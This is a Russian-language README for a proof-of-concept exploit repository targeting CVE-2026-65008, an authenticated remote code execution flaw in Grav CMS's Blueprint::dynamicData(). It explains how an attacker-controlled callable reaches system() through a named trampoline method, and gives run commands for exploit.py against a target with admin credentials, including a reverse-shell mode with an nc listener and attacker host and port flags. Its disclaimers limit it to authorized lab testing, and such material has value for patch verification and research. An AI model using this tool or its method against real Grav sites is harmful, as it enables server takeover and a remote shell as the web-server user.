
CVE-2026-65008
Proof-of-concept для CVE-2026-65008: аутентифицированное удалённое выполнение кода в Grav CMS через неограниченный call_user_func_array() в Blueprint::dynamicData().
Пользователь с правами admin.pages (или api.pages.write) может внедрить вредоносный frontmatter формы. Затем полезная нагрузка выполняется от имени пользователя веб-сервера, когда любой посетитель (включая неаутентифицированных) загружает страницу.
Только санкционированное тестирование. Используйте исключительно на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
| Роль | |
|---|---|
| Авторы отчёта об уязвимости | YuvalMil, MatiHub25, LeonKaya |
| Рекомендация вендора | GHSA-fj2p-qj2f-74v5 |
| Этот репозиторий | Независимый лабораторный PoC / автоматизация |
CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008
Blueprint::dynamicData() передаёт управляемый атакующим callable Class::method и аргументы в PHP-функцию call_user_func_array() без белого списка. В сочетании с Grav\Common\Utils::arrayFilterRecursive в качестве трамплина это позволяет добраться до system() / passthru и т. д.
Исправлено в Grav 2.0.7+.
9.8 КРИТИЧЕСКИЙ — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
requestsУстановка:
pip install -r requirements.txt
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
Сначала запустите слушатель:
nc -lvnp 4444
Затем:
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
/admin (извлеките login-nonce)admin_nonce из панели администратораdata-opts@:www-dataЭтот проект предназначен только для образовательных и санкционированных исследований безопасности. Автор не несёт ответственности за неправомерное использование. Всегда получайте письменное разрешение перед тестированием сторонних систем. Исходная уязвимость была раскрыта через рекомендацию вендора; этот репозиторий демонстрирует только лабораторное воспроизведение.
Для исследовательского использования. Без гарантий.
| Флаг | Описание |
|---|
-u, --url | Базовый URL цели (обязательно) |
-U, --username | Пользователь администратора / редактора страниц (по умолчанию: admin) |
-P, --password | Пароль (обязательно) |
-c, --command | Команда для выполнения (по умолчанию: id) |
--lhost | LHOST обратной оболочки |
--lport | LPORT обратной оболочки (по умолчанию: 4444) |
--folder | Имя папки страницы (по умолчанию: rcepoc) |
--no-verify | Отключить проверку TLS |